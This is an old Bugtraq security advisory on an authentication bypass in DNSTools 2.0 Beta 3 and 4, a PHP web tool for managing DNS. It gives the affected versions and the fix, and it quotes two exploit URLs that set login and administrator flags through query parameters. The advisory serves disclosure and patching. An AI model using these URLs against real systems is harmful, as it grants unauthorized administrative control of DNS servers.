DNSTools Authentication Bypass Vulnerability

Bugtraq ID:	4617
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 28 2002 12:00AM
Updated:	Apr 28 2002 12:00AM
Credit:	Discovered by ppp-design <[email protected]>.
Vulnerable:	DNSTools Software DNSTools 2.0 Beta 4 DNSTools Software DNSTools 2.0 Beta 3
Not Vulnerable:	DNSTools Software DNSTools 2.0 Beta 5

DNSTools Authentication Bypass Vulnerability

DNSTools is a web based managment tool for DNS information. It is implemented in PHP, and available for Linux and Solaris.

A vulnerability has been reported in some versions of DNSTools which allows any remote attacker to gain administrative access. An artificially constructed URL may define variables used to track user authentication and administrative access.

DNSTools Authentication Bypass Vulnerability

ppp-design <[email protected]> has contributed the following exploits:

http://www.example.com/dnstools.php?section=hosts&user_logged_in=true
http://www.example.com/dnstools.php?section=security&user_logged_in=true&user_dnstools_administrator=YES

DNSTools Authentication Bypass Vulnerability

Solution:
An updated version is available:


DNSTools Software DNSTools 2.0 Beta 3

• DNSTools Software dnstools_2.0b5.tar.gz
  http://www.dnstools.com/dnstools_2.0b5.tar.gz

DNSTools Software DNSTools 2.0 Beta 4

• DNSTools Software dnstools_2.0b5.tar.gz
  http://www.dnstools.com/dnstools_2.0b5.tar.gz

DNSTools Authentication Bypass Vulnerability

References:

• DNSTools Software Homepage (DNSTools Software)